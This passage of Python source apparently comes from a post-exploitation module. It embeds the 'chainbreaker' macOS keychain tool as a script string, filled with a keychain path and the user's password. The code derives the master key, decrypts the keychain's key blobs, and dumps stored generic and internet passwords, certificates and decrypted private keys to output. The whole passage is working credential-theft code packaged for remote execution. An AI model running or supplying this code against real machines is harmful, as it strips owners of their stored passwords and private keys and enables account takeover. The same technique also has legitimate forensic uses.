          record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.SecurityDomain & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE))
  
          record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE))
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.AuthType & 0xFFFFFFFE))
  
          record.append(self.getInt(BASE_ADDR, RecordMeta.Port & 0xFFFFFFFE))
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.Path & 0xFFFFFFFE))        
  
          return record
  
      def getx509Record(self, base_addr, offset):
          record = []
  
          BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset
  
          RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_X509_CERT_HEADER)], _X509_CERT_HEADER)
  
          x509Certificate = self.fbuf[BASE_ADDR + sizeof(_X509_CERT_HEADER):BASE_ADDR + sizeof(_X509_CERT_HEADER) + RecordMeta.CertSize]
  
          record.append(self.getInt(BASE_ADDR, RecordMeta.CertType & 0xFFFFFFFE))     # Cert Type
          record.append(self.getInt(BASE_ADDR, RecordMeta.CertEncoding & 0xFFFFFFFE))     # Cert Encoding
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Subject & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Issuer & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.SerialNumber & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.SubjectKeyIdentifier & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.PublicKeyHash & 0xFFFFFFFE))
  
          record.append(x509Certificate)
          return record
  
      def getKeyRecord(self, base_addr, offset):  ## PUBLIC and PRIVATE KEY
          record = []
  
          BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset
  
          RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SECKEY_HEADER)], _SECKEY_HEADER)
  
          KeyBlob = self.fbuf[BASE_ADDR + sizeof(_SECKEY_HEADER):BASE_ADDR + sizeof(_SECKEY_HEADER) + RecordMeta.BlobSize]
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Label & 0xFFFFFFFE))
          record.append(self.getInt(BASE_ADDR, RecordMeta.KeyClass & 0xFFFFFFFE))
          record.append(self.getInt(BASE_ADDR, RecordMeta.Private & 0xFFFFFFFE))
          record.append(self.getInt(BASE_ADDR, RecordMeta.KeyType & 0xFFFFFFFE))
          record.append(self.getInt(BASE_ADDR, RecordMeta.KeySizeInBits & 0xFFFFFFFE))
          record.append(self.getInt(BASE_ADDR, RecordMeta.EffectiveKeySize & 0xFFFFFFFE))
          record.append(self.getInt(BASE_ADDR, RecordMeta.Extractable & 0xFFFFFFFE))
          record.append(str(self.getLV(BASE_ADDR, RecordMeta.KeyCreator & 0xFFFFFFFE)).split('\x00')[0])
  
          IV, Key = self.getEncryptedDatainBlob(KeyBlob)
          record.append(IV)
          record.append(Key)
  
          return record
  
      def getEncryptedDatainBlob(self, BlobBuf):
          magicNumber = 0xFADE0711
  
          IVSize = 8
  
          EncryptedBlobMeta = _memcpy(BlobBuf[:sizeof(_ENCRYPTED_BLOB_METADATA)], _ENCRYPTED_BLOB_METADATA)
  
          if EncryptedBlobMeta.MagicNumber != magicNumber:
              return '', ''
  
          KeyData = BlobBuf[EncryptedBlobMeta.StartOffset:EncryptedBlobMeta.EndOffset]
          IV = BlobBuf[sizeof(_ENCRYPTED_BLOB_METADATA):sizeof(_ENCRYPTED_BLOB_METADATA)+IVSize]
          return IV, KeyData    # IV, Encrypted Data
  
      def getKeychainTime(self, BASE_ADDR, pCol):
          if pCol <= 0:
              return ''
          else:
              data = str(struct.unpack('>16s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + struct.calcsize('>16s')])[0])
              return datetime.datetime.strptime(data.strip('\x00'), '%Y%m%d%H%M%SZ')
  
      def getInt(self, BASE_ADDR, pCol):
          if pCol <= 0:
              return 0
          else:
              return struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0]
  
      def getFourCharCode(self, BASE_ADDR, pCol):
          if pCol <= 0:
              return ''
          else:
              return struct.unpack('>4s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0]
  
      def getLV(self, BASE_ADDR, pCol):
          if pCol <= 0:
              return ''
  
          str_length = struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0]
          # 4byte arrangement
          if (str_length % 4) == 0:
              real_str_len = (str_length / 4) * 4
          else:
              real_str_len = ((str_length / 4) + 1) * 4
          unpack_value = '>' + str(real_str_len) + 's'
          try:
              data = struct.unpack(unpack_value, self.fbuf[BASE_ADDR + pCol + 4:BASE_ADDR + pCol + 4 + real_str_len])[0]
          except struct.error:
              print 'Length is too long : %d'%real_str_len
              return ''
          return data
  
  
      def getAppleshareRecord(self, base_addr, offset):
          record = []
  
          BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset
  
          RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER)
  
          Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize]
  
          if RecordMeta.SSGPArea != 0:
              record.append(Buffer[:RecordMeta.SSGPArea])
          else:
              record.append('')
  
          record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE))
          record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE))
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE))
  
          record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE))
          record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE))
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Volume & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE))
  
          record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE))
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.Address & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Signature & 0xFFFFFFFE))
  
          return record
  
      ## decrypted dbblob area
      ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT
      ## http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36620/lib/StorageManager.cpp
      def DBBlobDecryption(self, securestoragegroup, dbkey):
          iv = securestoragegroup[20:28]
  
          plain = kcdecrypt(dbkey, iv, securestoragegroup[28:])
  
          return plain
  
      # Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT
      # source : http://www.opensource.apple.com/source/libsecurity_cdsa_client/libsecurity_cdsa_client-36213/lib/securestorage.cpp
      # magicCmsIV : http://www.opensource.apple.com/source/Security/Security-28/AppleCSP/AppleCSP/wrapKeyCms.cpp
      def KeyblobDecryption(self, encryptedblob, iv, dbkey):
  
          magicCmsIV = unhexlify('4adda22c79e82105')
          plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob)
  
          if plain.__len__() == 0:
              return ''
  
          # now we handle the unwrapping. we need to take the first 32 bytes,
          # and reverse them.
          revplain = ''
          for i in range(32):
              revplain += plain[31 - i]
  
          # now the real key gets found. */
          plain = kcdecrypt(dbkey, iv, revplain)
  
          keyblob = plain[4:]
  
          if len(keyblob) != KEYLEN:
              #raise "Bad decrypted keylen!"
              return ''
  
          return keyblob
  
      # test code
      #http://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55044/lib/KeyItem.cpp
      def PrivateKeyDecryption(self, encryptedblob, iv, dbkey):
          magicCmsIV = unhexlify('4adda22c79e82105')
          plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob)
  
          if plain.__len__() == 0:
              return ''
  
          # now we handle the unwrapping. we need to take the first 32 bytes,
          # and reverse them.
          revplain = ''
          for i in range(len(plain)):
              revplain += plain[len(plain)-1 - i]
  
          # now the real key gets found. */
          plain = kcdecrypt(dbkey, iv, revplain)
  
          #hexdump(plain)
          Keyname = plain[:12]    # Copied Buffer when user click on right and copy a key on Keychain Access
          keyblob = plain[12:]
  
          return Keyname, keyblob
  
      ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT
      def generateMasterKey(self, pw, symmetrickey_offset):
  
          base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38  # header
  
          # salt
          SALTLEN = 20
          salt = self.fbuf[base_addr + 44:base_addr + 44 + SALTLEN]
  
          masterkey = pbkdf2(pw, salt, 1000, KEYLEN)
          return masterkey
  
      ## find DBBlob and extract Wrapping key
      def findWrappingKey(self, master, symmetrickey_offset):
  
          base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38
  
          # startCryptoBlob
          cipher_text_offset = struct.unpack('>I', self.fbuf[base_addr + 8:base_addr + 8 + ATOM_SIZE])[0]
  
          # totalength
          totallength = struct.unpack('>I', self.fbuf[base_addr + 12:base_addr + 12 + ATOM_SIZE])[0]
  
          # IV
          IVLEN = 8
          iv = self.fbuf[base_addr + 64:base_addr + 64 + IVLEN]
  
          # get cipher text area
          ciphertext = self.fbuf[base_addr + cipher_text_offset:base_addr + totallength]
  
          # decrypt the key
          plain = kcdecrypt(master, iv, ciphertext)
  
          if plain.__len__() == 0:
              return ''
  
          dbkey = plain[0:KEYLEN]
  
          # return encrypted wrapping key
          return dbkey
  
  
  # SOURCE : extractkeychain.py
  def kcdecrypt(key, iv, data):
      if len(data) == 0:
          #print>>stderr, "FileSize is 0"
          return data
  
      if len(data) % BLOCKSIZE != 0:
          return data
  
      cipher = triple_des(key, CBC, iv)
      # the line below is for pycrypto instead
      #cipher = DES3.new( key, DES3.MODE_CBC, iv )
  
      plain = cipher.decrypt(data)
  
      # now check padding
      pad = ord(plain[-1])
      if pad > 8:
          #print>> stderr, "Bad padding byte. You probably have a wrong password"
          return ''
  
      for z in plain[-pad:]:
          if ord(z) != pad:
              #print>> stderr, "Bad padding. You probably have a wrong password"
              return ''
  
      plain = plain[:-pad]
  
      return plain
  
  def chainbreaker(file, password, key=''):
  
      parser = argparse.ArgumentParser(description='Tool for OS X Keychain Analysis by @n0fate')
      parser.add_argument('-f', '--file', nargs=1, help='Keychain file(*.keychain)', required=True)
      parser.add_argument('-x', '--exportfile', nargs=1, help='Export a filename (SQLite, optional)', required=False)
      group = parser.add_mutually_exclusive_group(required=True)
      group.add_argument('-k', '--key', nargs=1, help='Masterkey candidate', required=False)
      group.add_argument('-p', '--password', nargs=1, help='User Password', required=False)
  
      if os.path.exists(file) is False:
          print '[!] ERROR: Keychain is not exists'
          parser.print_help()
          exit()
  
      keychain = KeyChain(file)
      
      if keychain.open() is False:
          print '[!] ERROR: %s Open Failed'%file
          parser.print_help()
          exit()
  
      KeychainHeader = keychain.getHeader()
  
      if KeychainHeader.Signature != KEYCHAIN_SIGNATURE:
          print '[!] ERROR: Invalid Keychain Format'
          parser.print_help()
          exit()
  
      SchemaInfo, TableList = keychain.getSchemaInfo(KeychainHeader.SchemaOffset)
  
      TableMetadata, RecordList = keychain.getTable(TableList[0])
  
      tableCount, tableEnum = keychain.getTablenametoList(RecordList, TableList)
  
      # generate database key
      if password is not None:
          masterkey = keychain.generateMasterKey(password, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])
          dbkey = keychain.findWrappingKey(masterkey, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])
  
      elif key is not None:
          dbkey = keychain.findWrappingKey(unhexlify(key), TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])
  
      else:
          print '[!] ERROR: password or master key candidate'
          exit()
  
      # DEBUG
      print ' [-] DB Key'
      hexdump(dbkey)
  
      key_list = {}  # keyblob list
  
      # get symmetric key blob
      print '[+] Symmetric Key Table: 0x%.8x' % (sizeof(_APPL_DB_HEADER) + TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]])
      TableMetadata, symmetrickey_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]])
  
      for symmetrickey_record in symmetrickey_list:
          keyblob, ciphertext, iv, return_value = keychain.getKeyblobRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]],
                                                                              symmetrickey_record)
          if return_value == 0:
              passwd = keychain.KeyblobDecryption(ciphertext, iv, dbkey)
              if passwd != '':
                  key_list[keyblob] = passwd
  
      try:
          TableMetadata, genericpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]])
  
          for genericpw in genericpw_list:
              record = keychain.getGenericPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]], genericpw)
              print '[+] Generic Password Record'
              try:
                  real_key = key_list[record[0][0:20]]
                  passwd = keychain.DBBlobDecryption(record[0], real_key)
              except KeyError:
                  passwd = ''
              print ' [-] Create DateTime: %s' % record[1]  # 16byte string
              print ' [-] Last Modified DateTime: %s' % record[2]  # 16byte string
              print ' [-] Description : %s' % record[3]
              print ' [-] Creator : %s' % record[4]
              print ' [-] Type : %s' % record[5]
              print ' [-] PrintName : %s' % record[6]
              print ' [-] Alias : %s' % record[7]
              print ' [-] Account : %s' % record[8]
              print ' [-] Service : %s' % record[9]
              print ' [-] Password'
              hexdump(passwd)
              print ''
  
      except KeyError:
          print '[!] Generic Password Table is not available'
          pass
  
      try:
          TableMetadata, internetpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]])
  
          for internetpw in internetpw_list:
              record = keychain.getInternetPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]], internetpw)
              print '[+] Internet Record'
              try:
                  real_key = key_list[record[0][0:20]]
                  passwd = keychain.DBBlobDecryption(record[0], real_key)
              except KeyError:
                  passwd = ''
              print ' [-] Create DateTime: %s' % record[1]  # 16byte string
              print ' [-] Last Modified DateTime: %s' % record[2]  # 16byte string
              print ' [-] Description : %s' % record[3]
              print ' [-] Comment : %s' % record[4]
              print ' [-] Creator : %s' % record[5]
              print ' [-] Type : %s' % record[6]
              print ' [-] PrintName : %s' % record[7]
              print ' [-] Alias : %s' % record[8]
              print ' [-] Protected : %s' % record[9]
              print ' [-] Account : %s' % record[10]
              print ' [-] SecurityDomain : %s' % record[11]
              print ' [-] Server : %s' % record[12]
              try:
                  print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]]
              except KeyError:
                  print ' [-] Protocol Type : %s' % record[13]
              try:
                  print ' [-] Auth Type : %s' % AUTH_TYPE[record[14]]
              except KeyError:
                  print ' [-] Auth Type : %s' % record[14]
              print ' [-] Port : %d' % record[15]
              print ' [-] Path : %s' % record[16]
              print ' [-] Password'
              hexdump(passwd)
              print ''
  
      except KeyError:
          print '[!] Internet Password Table is not available'
          pass
  
      try:
          TableMetadata, applesharepw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD]])
  
          for applesharepw in applesharepw_list:
              record = keychain.getAppleshareRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD]], applesharepw)
              print '[+] AppleShare Record (no more used OS X)'
              try:
                  real_key = key_list[record[0][0:20]]
                  passwd = keychain.DBBlobDecryption(record[0], real_key)
              except KeyError:
                  passwd = ''
              #print ''
              print ' [-] Create DateTime: %s' % record[1]  # 16byte string
              print ' [-] Last Modified DateTime: %s' % record[2]  # 16byte string
              print ' [-] Description : %s' % record[3]
              print ' [-] Comment : %s' % record[4]
              print ' [-] Creator : %s' % record[5]
              print ' [-] Type : %s' % record[6]
              print ' [-] PrintName : %s' % record[7]
              print ' [-] Alias : %s' % record[8]
              print ' [-] Protected : %s' % record[9]
              print ' [-] Account : %s' % record[10]
              print ' [-] Volume : %s' % record[11]
              print ' [-] Server : %s' % record[12]
              try:
                  print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]]
              except KeyError:
                  print ' [-] Protocol Type : %s' % record[13]
              print ' [-] Address : %d' % record[14]
              print ' [-] Signature : %s' % record[15]
              print ' [-] Password'
              hexdump(passwd)
              print ''
  
      except KeyError:
          print '[!] AppleShare Table is not available'
          pass
  
      try:
          TableMetadata, x509CertList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_X509_CERTIFICATE]])
  
          for x509Cert in x509CertList:
              record = keychain.getx509Record(TableList[tableEnum[CSSM_DL_DB_RECORD_X509_CERTIFICATE]], x509Cert)
              print ' [-] Cert Type: %s' %CERT_TYPE[record[0]]
              print ' [-] Cert Encoding: %s' %CERT_ENCODING[record[1]]
              print ' [-] PrintName : %s' % record[2]
              print ' [-] Alias : %s' % record[3]
              print ' [-] Subject'
              hexdump(record[4])
              print ' [-] Issuer :'
              hexdump(record[5])
              print ' [-] SerialNumber'
              hexdump(record[6])
              print ' [-] SubjectKeyIdentifier'
              hexdump(record[7])
              print ' [-] Public Key Hash'
              hexdump(record[8])
              print ' [-] Certificate'
              hexdump(record[9])
              print ''
  
      except KeyError:
          print '[!] Certification Table is not available'
          pass
  
      try:
          TableMetadata, PublicKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]])
          for PublicKey in PublicKeyList:
              record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]], PublicKey)
              print '[+] Public Key Record'
              print ' [-] PrintName: %s' %record[0]
              print ' [-] Label'
              hexdump(record[1])
              print ' [-] Key Class : %s'%KEY_TYPE[record[2]]
              print ' [-] Private : %d'%record[3]
              print ' [-] Key Type : %s'%CSSM_ALGORITHMS[record[4]]
              print ' [-] Key Size : %d bits'%record[5]
              print ' [-] Effective Key Size : %d bits'%record[6]
              print ' [-] Extracted : %d'%record[7]
              print ' [-] CSSM Type : %s' %STD_APPLE_ADDIN_MODULE[record[8]]
              print ' [-] Public Key'
              hexdump(record[10])
  
      except KeyError:
          print '[!] Public Key Table is not available'
          pass
  
      try:
          table_meta, PrivateKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]])
          for PrivateKey in PrivateKeyList:
              record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]], PrivateKey)
              print '[+] Private Key Record'
              print ' [-] PrintName: %s' % record[0]
              print ' [-] Label'
              hexdump(record[1])
              print ' [-] Key Class : %s' % KEY_TYPE[record[2]]
              print ' [-] Private : %d' % record[3]
              print ' [-] Key Type : %s' % CSSM_ALGORITHMS[record[4]]
              print ' [-] Key Size : %d bits' % record[5]
              print ' [-] Effective Key Size : %d bits' % record[6]
              print ' [-] Extracted : %d' % record[7]
              print ' [-] CSSM Type : %s' % STD_APPLE_ADDIN_MODULE[record[8]]
              keyname, privatekey = keychain.PrivateKeyDecryption(record[10], record[9], dbkey)
              print ' [-] Key Name'
              hexdump(keyname)
              print ' [-] Decrypted Private Key'
              hexdump(privatekey)
  
      except KeyError:
          print '[!] Private Key Table is not available'
          pass
  
      exit()
  """ 
          script += """
  try:
      import gc
      gc.collect()
      chainbreaker('%s', '%s', key='')
      gc.collect()
  except Exception as e:
      print e 
      pass
          """ % (keyChain, password)
  
          return script
  